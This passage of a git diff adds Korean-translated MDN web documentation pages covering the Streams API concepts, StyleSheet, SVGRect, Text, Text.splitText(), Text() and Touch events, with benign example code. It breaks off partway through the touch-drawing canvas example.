+<p>The data is written to the stream via a <strong>writer</strong>, one chunk at a time. A chunk can take a multitude of forms, just like the chunks in a reader. You can use whatever code you like to produce the chunks ready for writing; the writer plus the associated code is called a <strong>producer</strong>.</p>
+
+<p>When a writer is created and starts writing to a stream (an <strong>active writer</strong>), it is said to be <strong>locked</strong> to it. Only one writer can write to a writable stream at one time. If you want another writer to start writing to your stream, you typically need to abort it before you then attach another writer to it.</p>
+
+<p>An <strong>internal queue</strong> keeps track of the chunks that have been written to the stream but not yet been processed by the underlying sink.</p>
+
+<p>There is also a construct you’ll use called a controller — each writer has an associated controller that allows you to control the stream (for example, to abort it if wished).</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15821/writable%20streams.png" style="height: 452px; width: 1000px;"></p>
+
+<p>You can make use of writable streams using the {{domxref("WritableStream.WritableStream()")}} constructor. These currently have very limited availability in browsers.</p>
+
+<h2 id="Pipe_chains">Pipe chains</h2>
+
+<p>The Streams API makes it possible to pipe streams into one another (or at least it will do when browsers implement the relevant functionality) using a structure called a <strong>pipe chain</strong>. There are two methods available in the spec to facilitate this:</p>
+
+<ul>
+ <li>{{domxref("ReadableStream.pipeThrough()")}} — pipes the stream through a <strong>transform stream</strong>, which is a pair comprised of a writable stream that has data written to it, and a readable stream that then has the data read out of it — this acts as a kind of treadmill that constantly takes data in and transforms it to a new state. Effectively the same stream is written to, and then the same values are read. A simple example is a text decoder, where raw bytes are written, and then strings are read. You can find more useful ideas and examples in the spec — see <a href="https://streams.spec.whatwg.org/#ts-model">Transform streams</a> for ideas, and <a href="https://streams.spec.whatwg.org/#example-both">this web sockets example</a>.</li>
+ <li>{{domxref("ReadableStream.pipeTo()")}} — pipes to a writable stream that acts as the end point of the pipe chain.</li>
+</ul>
+
+<p>The start of the pipe chain is called the <strong>original source</strong>, and the end is called the <strong>ultimate sink</strong>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15818/PipeChain.png" style="height: 382px; width: 1000px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: This functionality isn't fully thought through yet, or available in many browsers. At some point the spec writers hope to add something like a <code>TransformStream</code> class to make creating transform streams easier.</p>
+</div>
+
+<h2 id="Backpressure">Backpressure</h2>
+
+<p>An important concept in streams is <strong>backpressure</strong> — this is the process by which a single stream or a pipe chain regulates the speed of reading/writing. When a stream later in the chain is still busy and isn't yet ready to accept more chunks, it sends a signal backwards through the chain to tell earlier transform streams (or the original source) to slow down delivery as appropriate so that you don't end up with a bottleneck anywhere.</p>
+
+<p>To use backpressure in a ReadableStream, we can ask the controller for the chunk size  desired by the consumer by querying the {{domxref("ReadableStreamDefaultController.desiredSize")}} attribute on the controller. If it is too low, our ReadableStream can tell its underlying source to stop sending data, and we backpressure along the stream chain.</p>
+
+<p>If later on the consumer again wants to receive data, we can use the pull method in the stream creation to tell our underlying source to feed our stream with data.</p>
+
+<h2 id="Internal_queues_and_queuing_strategies">Internal queues and queuing strategies</h2>
+
+<p>As mentioned earlier, the chunks in a stream that have not yet been processed and finished with are kept track of by an internal queue.</p>
+
+<ul>
+ <li>In the case of readable streams, these are the chunks that have been enqueued but not yet read</li>
+ <li>In the case of writable streams, these are chunks that have been written but not yet processed by the underlying sink.</li>
+</ul>
+
+<p>Internal queues employ a <strong>queuing strategy</strong>, which dictates how to signal backpressure based on the <strong>internal queue state.</strong></p>
+
+<p>In general, the strategy compares the size of the chunks in the queue to a value called the <strong>high water mark</strong>, which is the largest total chunk size that the queue can realistically manage.</p>
+
+<p>The calculation performed is</p>
+
+<pre>high water mark - total size of chunks in queue = desired size</pre>
+
+<p>The <strong>desired size</strong> is the size of chunks the stream can still accept to keep the stream flowing but below the high water mark in size. After the calculation is performed, chunk generation will be slowed down/sped up as appropriate to keep the stream flowing as fast as possible while keeping the desired size above zero. If the value falls to zero (or below in the case of writable streams), it means that chunks are being generated faster than the stream can cope with, which results in problems.</p>
+
+<div class="note">
+<p><strong>Note</strong>: What happens in the case of zero or negative desired size hasn’t really been defined in the spec so far. Patience is a virtue.</p>
+</div>
+
+<p>As an example, let's take a chunk size of 1, and a high water mark of 3. This means that up to 3 chunks can be enqueued before the high water mark is reached and backpressure is applied.</p>
diff --git a/files/ko/web/api/stylesheet/index.html b/files/ko/web/api/stylesheet/index.html
new file mode 100644
index 0000000000..53e9229461
--- /dev/null
+++ b/files/ko/web/api/stylesheet/index.html
@@ -0,0 +1,61 @@
+---
+title: StyleSheet
+slug: Web/API/StyleSheet
+translation_of: Web/API/StyleSheet
+---
+<div>{{APIRef("CSSOM")}}</div>
+
+<p class="summary">An object implementing the <code>StyleSheet</code> interface represents a single style sheet. CSS style sheets will further implement the more specialized {{domxref("CSSStyleSheet")}} interface.</p>
+
+<h2 id="Properties" name="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("StyleSheet.disabled")}}</dt>
+ <dd>Is a {{domxref("Boolean")}} representing whether the current stylesheet has been applied or not.</dd>
+ <dt>{{domxref("StyleSheet.href")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the location of the stylesheet.</dd>
+ <dt>{{domxref("StyleSheet.media")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("MediaList")}} representing the intended destination medium for style information.</dd>
+ <dt>{{domxref("StyleSheet.ownerNode")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} associating this style sheet with the current document.</dd>
+ <dt>{{domxref("StyleSheet.parentStyleSheet")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("StyleSheet")}} including this one, if any; returns <code>null</code> if there aren't any.</dd>
+ <dt>{{domxref("StyleSheet.title")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the advisory title of the current style sheet.</dd>
+ <dt>{{domxref("StyleSheet.type")}}{{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the style sheet language for this style sheet.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSSOM', '#stylesheet', 'StyleSheet') }}</td>
+ <td>{{ Spec2('CSSOM') }}</td>
+ <td>No change from {{ SpecName('DOM2 Style') }}.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('DOM2 Style', 'stylesheets.html#StyleSheets-StyleSheet', 'StyleSheet') }}</td>
+ <td>{{ Spec2('DOM2 Style') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.StyleSheet")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("CSSStyleSheet")}}</li>
+</ul>
diff --git a/files/ko/web/api/svgrect/index.html b/files/ko/web/api/svgrect/index.html
new file mode 100644
index 0000000000..c006db08c1
--- /dev/null
+++ b/files/ko/web/api/svgrect/index.html
@@ -0,0 +1,90 @@
+---
+title: SVGRect
+slug: Web/API/SVGRect
+translation_of: Web/API/SVGRect
+---
+<div>{{APIRef("SVG")}}</div>
+
+<p id="sect1"><strong><code>SVGRect</code></strong>는 직사각형을 의미합니다. 직사각형은 최소 x값과 최소 y값, 그리고 양수로 제한되는 폭과 높이를 식별하는 x와 y 좌표 쌍으로 구성됩니다.</p>
+
+<p><strong><code>SVGRect</code></strong> 오브젝트는 읽기 전용으로 지정될 수 있습니다. 이 말은 오브젝트를 수정하려는 시도가 있을 때 exception을 발생시킵니다.</p>
+
+<p>{{InheritanceDiagram(600, 140)}}</p>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<p><em>이 인터페이스는 부모로 부터 프로퍼티를 상속받습니다. {{domxref("SVGGeometryElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SVGRect.x")}} {{ReadOnlyInline}}</dt>
+ <dd>이 좌표의 정확한 효과는 각 element에 따라 다릅니다. 속성을 지정하지 않으면 0 값이 지정된 것처럼 효과가 나타납니다.</dd>
+ <dt>{{domxref("SVGRect.y")}} {{ReadOnlyInline}}</dt>
+ <dd>이 좌표의 정확한 효과는 각 element에 따라 다릅니다. 속성을 지정하지 않으면 0 값이 지정된 것처럼 효과가 나타납니다.</dd>
+ <dt>{{domxref("SVGRect.width")}} {{ReadOnlyInline}}</dt>
+ <dd>이것은 사각형의 너비를 나타냅니다. 음수 값은 에러가 발생합니다. 0 값은 element의 렌더링을 불가능하게 합니다. </dd>
+ <dt>{{SVGAttr("SVGRect.height")}} {{ReadOnlyInline}}</dt>
+ <dd>이것은 사각형의 높이를 나타냅니다. 음수 값은 에러가 발생합니다. 0 값은 element의 렌더링을 불가능하게 합니다. </dd>
+</dl>
+
+<p><strong>Exceptions on setting:</strong> A {{domxref("DOMException")}} with the code <code>NO_MODIFICATION_ALLOWED_ERR</code> 는 읽기 전용 속성을 바꾸려 할 때 발생합니다.</p>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>이 인터페이스는 부모로 부터 프로퍼티를 상속받습니다. {{domxref("SVGGeometryElement")}}.</em></p>
+
+<h2 id="예">예</h2>
+
+<p>rect 인터페이스의 간단한 사용법입니다. (매 클릭마다 rect 인터페이스의 색을 변경합니다.)</p>
+
+<h3 id="SVG_content">SVG content</h3>
+
+<pre class="brush: html">&lt;svg xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+  &lt;rect width="300" height="100" id="myrect" onclick="doRectClick()"
+ style="fill:rgb(0,0,255);stroke-width:1;stroke:rgb(0,0,0)" /&gt;
+  &lt;text x="60" y="40" fill="white" font-size="40"
+ onclick="doRectClick();"&gt;Click Me&lt;/text&gt;
+&lt;/svg&gt;
+</pre>
+
+<h3 id="JavaScript_content">JavaScript content</h3>
+
+<pre class="brush: js">function doRectClick(){
+  var myrect = document.getElementById('myrect');
+  var r = Math.floor(Math.random() * 255);
+ var g = Math.floor(Math.random() * 255);
+  var b = Math.floor(Math.random() * 255);
+  myrect.style.fill = 'rgb(' + r + ', ' + g + ' , ' + b + ')';
+}
+</pre>
+
+<p><em>Click the rect.</em></p>
+
+<p>{{EmbedLiveSample('Example', '', '', '', 'Web/API/SVGRect')}}</p>
+
+<h2 id="상세">상세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("SVG2", "shapes.html#InterfaceSVGRectElement", "SVGRectElement")}}</td>
+ <td>{{Spec2("SVG2")}}</td>
+ <td>Changed the inheritance from {{domxref("SVGElement")}} to {{domxref("SVGGeometryElement")}} and removed the implemented interfaces {{domxref("SVGTests")}}, {{domxref("SVGLangSpace")}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}}, and {{domxref("SVGTransformable")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("SVG1.1", "shapes.html#InterfaceSVGRectElement", "SVGRectElement")}}</td>
+ <td>{{Spec2("SVG1.1")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.SVGRect")}}</p>
diff --git a/files/ko/web/api/text/index.html b/files/ko/web/api/text/index.html
new file mode 100644
index 0000000000..7d529ce578
--- /dev/null
+++ b/files/ko/web/api/text/index.html
@@ -0,0 +1,117 @@
+---
+title: Text
+slug: Web/API/Text
+tags:
+ - API
+ - DOM
+ - Interface
+ - Reference
+translation_of: Web/API/Text
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p><strong><code>Text</code></strong> 인터페이스는 {{domxref("Element")}} 또는 {{domxref("Attr")}}의 문자형 콘텐츠를 표현합니다.</p>
+
+<p>요소의 콘텐츠에 마크업이 없을 경우 해당 요소는 요소의 텍스트를 담은 <code>Text</code> 를 구현한 단일 자식을 갖습니다. 반면에 요소에 마크업이 있을 경우 자식을 구성하는 정보 항목과 <code>Text</code> 노드로 파싱됩니다.</p>
+
+<p>새로운 문서는 각각의 텍스트 블록마다 하나의 <code>Text</code> 노드를 갖습니다. 문서의 콘텐츠가 변경됨에 따라 새로운 <code>Text</code> 노드가 생성될 수 있습니다. {{domxref("Node.normalize()")}} 메서드는 인접한 <code>Text</code> 객체에 대한 각각의 텍스트 블록을 다시 단일 노드로 병합합니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Methods" name="Methods">생성자</h2>
+
+<dl>
+ <dt>{{domxref("Text.Text", "Text()")}} {{experimental_inline}}</dt>
+ <dd>제공한 매개변수를 텍스트 콘텐츠로 하는 <code>Text</code> 노드를 반환합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<p>부모인 {{domxref("CharacterData")}}로부터 속성을 상속합니다.</p>
+
+<dl>
+ <dt>{{domxref("Text.isElementContentWhitespace")}} {{readonlyInline}}{{ obsolete_inline() }}</dt>
+ <dd>
+ <p>텍스트 노드가 공백만 포함하는지 여부를 나타내는 {{domxref("Boolean")}} 플래그를 반환합니다.</p>
+ </dd>
+ <dt>{{domxref("Text.wholeText")}} {{readonlyInline}}</dt>
+ <dd>이 {{domxref("Node")}}와 논리적으로 인접한 모든 <code>Text</code> 노드의 텍스트를 문서 내의 순서대로 이어붙인 {{domxref("DOMString")}}을 반환합니다.</dd>
+ <dt>{{domxref("Text.assignedSlot")}} {{readonlyinline}}</dt>
+ <dd>이 요소와 연관된 {{domxref("HTMLSlotElement")}} 객체를 반환합니다.</dd>
+</dl>
+
+<h3 id="Slotable로부터_포함된_속성"><code>Slotable</code>로부터 포함된 속성</h3>
+
+<p><code>Text</code> 인터페이스는 {{domxref("Slotable")}} 믹스인이 정의하는 다음의 속성을 포함합니다.</p>
+
+<dl>
+ <dt>{{domxref("Slotable.assignedSlot")}} {{readonlyInline}}</dt>
+ <dd>노드가 삽입된 {{htmlelement("slot")}}을 나타내는 {{domxref("HTMLSlotElement")}}를 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p>부모인 {{domxref("CharacterData")}}로부터 메서드를 상속합니다.</p>
+
+<dl>
+</dl>
+
+<dl>
+ <dt>{{domxref("Text.replaceWholeText")}} {{ obsolete_inline() }}</dt>
+ <dd>현재 노드와 논리적으로 인접한 모든 노드의 텍스트를 지정한 텍스트로 대체합니다.</dd>
+</dl>
+
+<dl>
+ <dt><span class="internal">{{domxref("Text.splitText")}}</span></dt>
+ <dd>노드를 지정한 오프셋에서 두 노드로 분리합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#text', 'Text')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Removed the <code>isElementContentWhitespace</code> property.<br>
+ Removed the <code>replaceWholeText()</code> method.<br>
+ Added the <code>Text()</code> constructor.<br>
+ Added the <code>assignedSlot</code> property.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM3 Core', 'core.html#ID-1312295772', 'Text')}}</td>
+ <td>{{Spec2('DOM3 Core')}}</td>
+ <td>Added the <code>isElementContentWhitespace</code> and <code>wholeText</code> properties.<br>
+ Added the <code>replaceWholeText()</code> method.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Core', 'core.html#ID-1312295772', 'Text')}}</td>
+ <td>{{Spec2('DOM2 Core')}}</td>
+ <td>No change from {{SpecName('DOM1')}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-core.html#ID-1312295772', 'Text')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Text")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Document_Object_Model" title="/en-US/docs/DOM/DOM_Reference">DOM 인터페이스 목차</a>.</li>
+</ul>
diff --git a/files/ko/web/api/text/splittext/index.html b/files/ko/web/api/text/splittext/index.html
new file mode 100644
index 0000000000..dd45f3b83d
--- /dev/null
+++ b/files/ko/web/api/text/splittext/index.html
@@ -0,0 +1,95 @@
+---
+title: Text.splitText()
+slug: Web/API/Text/splitText
+tags:
+ - API
+ - DOM
+ - Text
+ - 메소드
+translation_of: Web/API/Text/splitText
+---
+<div>{{apiref("DOM")}}</div>
+
+<p><strong><code>Text.splitText()</code></strong> 메소드는 {{domxref("Text")}} 노드를 지정된 오프셋에서 두 노드로 분리합니다. 두 노드는 sibling으로써 트리에 유지됩니다.</p>
+
+<p>분리한 이후, 현재 노드는 지정된 오프셋 지점까지의 모든 컨텐츠를 포함하며, 새롭게 생성된 같은 타입의 노드는 남아있는 텍스트를 포함합니다. 새롭게 생성된 노드는 호출자에게 반환됩니다. 기존 노드가 부모를 갖고 있다면, 새 노드는 기존 노드의 다음 sibling으로 삽입됩니다. 기존 노드의 길이와 오프셋이 동일하다면, 새롭게 생성된 노드는 데이터를 갖지 않습니다.</p>
+
+<p>분리된 텍스트 노드는 {{domxref("Node.normalize()")}} 메소드를 사용해 이어붙혀질 수 있습니다.</p>
+
+<p>지정된 오프셋이 음수이거나 노드의 텍스트의 16 비트 단위의 수보다 크면 <code>INDEX_SIZE_ERR</code> 값을 갖는 {{domxref("DOMException")}} 을 throw됩니다. <code>NO_MODIFICATION_ALLOWED_ERR</code> 값을 갖는 {{domxref("DOMException")}} 은 노드가 읽기 전용일 때 throw됩니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>replacementNode</em> = <em>textnode</em>.splitText(offset)
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>이 예제에서 {{HTMLElement("p")}} 텍스트 노드는 두 텍스트 노드로 분리되며 그 사이에 {{HTMLElement("span")}} 이 삽입됩니다.</p>
+
+<pre class="brush:html">&lt;body&gt;
+ &lt;p id="p"&gt;foobar&lt;/p&gt;
+
+ &lt;script type="text/javascript"&gt;
+ var p = document.getElementById('p');
+ var textnode = p.firstChild;
+
+ // foo 와 bar 사이를 분리
+ var replacementNode = textnode.splitText(3);
+
+ // ' span contents ' 를 포함하는 span을 생성
+ var span = document.createElement('span');
+ span.appendChild(document.createTextNode(' span contents '));
+
+ // 'bar' 앞에 span을 추가
+ p.insertBefore(span, replacementNode);
+
+ // 결과: &lt;p id="p"&gt;foo&lt;span&gt; span contents &lt;/span&gt;bar&lt;/p&gt;
+ &lt;/script&gt;
+&lt;/body&gt;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-text-splittext', 'Text.splitText')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>{{SpecName('DOM3 Core')}} 로부터 변경 사항 없음.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM3 Core', 'core.html#ID-38853C1D', 'Text.splitText')}}</td>
+ <td>{{Spec2('DOM3 Core')}}</td>
+ <td>{{SpecName('DOM2 Core')}} 로부터 변경 사항 없음.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Core', 'core.html#ID-38853C1D', 'Text.splitText')}}</td>
+ <td>{{Spec2('DOM2 Core')}}</td>
+ <td>{{SpecName('DOM1')}} 로부터 변경 사항 없음.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-core.html#ID-38853C1D', 'Text.splitText')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Text.splitText")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>이 메소드가 속한 {{domxref("Text")}} 인터페이스.</li>
+ <li>반대되는 메소드: {{domxref("Node.normalize")}}.</li>
+</ul>
diff --git a/files/ko/web/api/text/text/index.html b/files/ko/web/api/text/text/index.html
new file mode 100644
index 0000000000..e993de91c8
--- /dev/null
+++ b/files/ko/web/api/text/text/index.html
@@ -0,0 +1,55 @@
+---
+title: Text()
+slug: Web/API/Text/Text
+tags:
+ - API
+ - DOM
+ - Text
+ - 생성자
+ - 실험중
+translation_of: Web/API/Text/Text
+---
+<p>{{ Apiref("DOM")}}{{seeCompatTable}}</p>
+
+<p><code><strong>Text()</strong></code> 생성자는 옵션인 파라미터로 주어진 문자형 컨텐츠인 {{domxref("DOMString")}} 으로 새롭게 생성된 {{domxref("Text")}} 객체를 반환합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>text1</em> = new Text(); // 빈 텍스트 노드 생성
+<em>text2</em> = new Text("텍스트 노드입니다");
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js"><code class="language-js">text <span class="operator token">=</span> new Text<span class="function token"><span class="punctuation token">("Test"</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#text', 'Text.Text()')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Text.Text")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Gecko_DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM 인터페이스 목차.</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/web/api/touch_events/index.html b/files/ko/web/api/touch_events/index.html
new file mode 100644
index 0000000000..7663877d7a
--- /dev/null
+++ b/files/ko/web/api/touch_events/index.html
@@ -0,0 +1,399 @@
+---
+title: Touch events
+slug: Web/API/Touch_events
+translation_of: Web/API/Touch_events
+---
+<div>{{DefaultAPISidebar("Touch Events(터치이벤트)")}}</div>
+
+<div>일부분만 번역함.</div>
+
+<div> </div>
+
+<p> 터치를 기반으로 한 양질의 서비스를 제공하기 위해, Touch Events(터치이벤트)는 터치로 인한 움직임을 감지할 능력을 제공합니다.</p>
+
+<p>터치 이벤트 인터페이스는 상대적으로 low-lever API이며 multi-touch interaction등의 다양한 동작을 특정해 트리거 할 수 있습니다. multi-touch interaction은 한 손가락이 터치패드에 처음 닫는 순간 시작합니다. 이후 다른 손가락들이 터치패드에 닿고 선택적으로 터치패드를 가로지를 수도 있습니다. interaction은 손가락들이 터치패드에서 떨어지면 끝납니다. interaction동안에 어플리케이션은 touch start, move, end 이벤트들을 받습니다.</p>
+
+<p>Touch events는 동시에 여러 손가락으로 동시에 혹은 여러 지점에 터치 할 수 있다는 것만 제외하면 마우스 이벤트와 유사합니다. 터치이벤트 인터페이스는 현재 액션과 터치 지점을 캡슐화 합니다. single touch로 대표되는 interface는 터치된 정보등을 포함합니다.</p>
+
+<h2 id="Definitions">Definitions</h2>
+
+<dl>
+ <dt>Surface</dt>
+ <dd>터치 스크린, 터치 패드등을 포함합니다.</dd>
+</dl>
+
+<dl>
+ <dt>Touch point</dt>
+ <dd>손가락이나 터치 펜을 이용해 터치한 지점을 말합니다.</dd>
+</dl>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("TouchEvent")}}</dt>
+ <dd>터치나 surface 위에서의 움직임들 입니다.</dd>
+ <dt>{{domxref("Touch")}}</dt>
+ <dd>touch surface위의 한 지점에 접촉할 때 발생합니다.</dd>
+ <dt>{{domxref("TouchList")}}</dt>
+ <dd>다중의 터치가 동시에 일어 났을 때 발생합니다.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>This example tracks multiple touch points at a time, allowing the user to draw in a {{HTMLElement("canvas")}} with more than one finger at a time. It will only work on a browser that supports touch events.</p>
+
+<div class="note"><strong>Note:</strong> The text below uses the term "finger" when describing the contact with the surface, but it could, of course, also be a stylus or other contact method.</div>
+
+<h3 id="Create_a_canvas">Create a canvas</h3>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="600" height="600" style="border:solid black 1px;"&gt;
+ Your browser does not support canvas element.
+&lt;/canvas&gt;
+&lt;br&gt;
+&lt;button onclick="startup()"&gt;Initialize&lt;/button&gt;
+&lt;br&gt;
+Log: &lt;pre id="log" style="border: 1px solid #ccc;"&gt;&lt;/pre&gt;
+</pre>
+
+<h3 id="Setting_up_the_event_handlers">Setting up the event handlers</h3>
+
+<p>When the page loads, the <code>startup()</code> function shown below should be called by our {{HTMLElement("body")}} element's <code>onload</code> attribute (but in the example we use a button to trigger it, due to limitations of the MDN live example system).</p>
+
+<pre class="brush: js">function startup() {
+ var el = document.getElementsByTagName("canvas")[0];
+ el.addEventListener("touchstart", handleStart, false);
+ el.addEventListener("touchend", handleEnd, false);
+ el.addEventListener("touchcancel", handleCancel, false);
+ el.addEventListener("touchmove", handleMove, false);
+ log("initialized.");
+}
+</pre>
+
+<p>This simply sets up all the event listeners for our {{HTMLElement("canvas")}} element so we can handle the touch events as they occur.</p>
+
+<h4 id="Tracking_new_touches">Tracking new touches</h4>
+
+<p>We'll keep track of the touches in-progress.</p>
+
+<pre class="brush: js">var ongoingTouches = [];
+</pre>
+
+<p>When a {{event("touchstart")}} event occurs, indicating that a new touch on the surface has occurred, the <code>handleStart()</code> function below is called.</p>
+
+<pre class="brush: js">function handleStart(evt) {
+ evt.preventDefault();
+ log("touchstart.");
+ var el = document.getElementsByTagName("canvas")[0];
+ var ctx = el.getContext("2d");
+ var touches = evt.changedTouches;
+
+ for (var i = 0; i &lt; touches.length; i++) {
+ log("touchstart:" + i + "...");
+ ongoingTouches.push(copyTouch(touches[i]));
+ var color = colorForTouch(touches[i]);
+ ctx.beginPath();
+ ctx.arc(touches[i].pageX, touches[i].pageY, 4, 0, 2 * Math.PI, false); // a circle at the start
+ ctx.fillStyle = color;
+ ctx.fill();
+ log("touchstart:" + i + ".");
+ }
+}
+</pre>
+
+<p>This calls {{domxref("event.preventDefault()")}} to keep the browser from continuing to process the touch event (this also prevents a mouse event from also being delivered). Then we get the context and pull the list of changed touch points out of the event's {{domxref("TouchEvent.changedTouches")}} property.</p>
+
+<p>After that, we iterate over all the {{domxref("Touch")}} objects in the list, pushing them onto an array of active touch points and drawing the start point for the draw as a small circle; we're using a 4-pixel wide line, so a 4 pixel radius circle will show up neatly.</p>
+
+<h4 id="Drawing_as_the_touches_move">Drawing as the touches move</h4>
+
+<p>Each time one or more fingers moves, a {{event("touchmove")}} event is delivered, resulting in our <code>handleMove()</code> function being called. Its responsibility in this example is to update the cached touch information and to draw a line from the previous position to the current position of each touch.</p>
+
+<pre class="brush: js">function handleMove(evt) {
+ evt.preventDefault();
+ var el = document.getElementsByTagName("canvas")[0];
+ var ctx = el.getContext("2d");
+ var touches = evt.changedTouches;
+
+ for (var i = 0; i &lt; touches.length; i++) {
+ var color = colorForTouch(touches[i]);
+ var idx = ongoingTouchIndexById(touches[i].identifier);
+
+ if (idx &gt;= 0) {
+ log("continuing touch "+idx);
+ ctx.beginPath();
+ log("ctx.moveTo(" + ongoingTouches[idx].pageX + ", " + ongoingTouches[idx].pageY + ");");
+ ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+ log("ctx.lineTo(" + touches[i].pageX + ", " + touches[i].pageY + ");");
+ ctx.lineTo(touches[i].pageX, touches[i].pageY);
+ ctx.lineWidth = 4;
+ ctx.strokeStyle = color;
+ ctx.stroke();
+
+ ongoingTouches.splice(idx, 1, copyTouch(touches[i])); // swap in the new touch record
+ log(".");
+ } else {
+ log("can't figure out which touch to continue");
+ }
+ }
+}
+</pre>
+
+<p>This iterates over the changed touches as well, but it looks in our cached touch information array for the previous information about each touch in order to determine the starting point for each touch's new line segment to be drawn. This is done by looking at each touch's {{domxref("Touch.identifier")}} property. This property is a unique integer for each touch, and remains consistent for each event during the duration of each finger's contact with the surface.</p>
+
+<p>This lets us get the coordinates of the previous position of each touch and use the appropriate context methods to draw a line segment joining the two positions together.</p>
+
+<p>After drawing the line, we call <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice"><code>Array.splice()</code></a> to replace the previous information about the touch point with the current information in the <code>ongoingTouches</code> array.</p>
+
+<h4 id="Handling_the_end_of_a_touch">Handling the end of a touch</h4>
+
+<p>When the user lifts a finger off the surface, a {{event("touchend")}} event is sent. We handle both of these the same way: by calling the <code>handleEnd()</code> function below. Its job is to draw the last line segment for each touch that ended and remove the touch point from the ongoing touch list.</p>
+
+<pre class="brush: js">function handleEnd(evt) {
+ evt.preventDefault();
+ log("touchend");
+ var el = document.getElementsByTagName("canvas")[0];
+ var ctx = el.getContext("2d");
+ var touches = evt.changedTouches;
+
+ for (var i = 0; i &lt; touches.length; i++) {
+ var color = colorForTouch(touches[i]);
+ var idx = ongoingTouchIndexById(touches[i].identifier);
+
+ if (idx &gt;= 0) {
+ ctx.lineWidth = 4;
+ ctx.fillStyle = color;
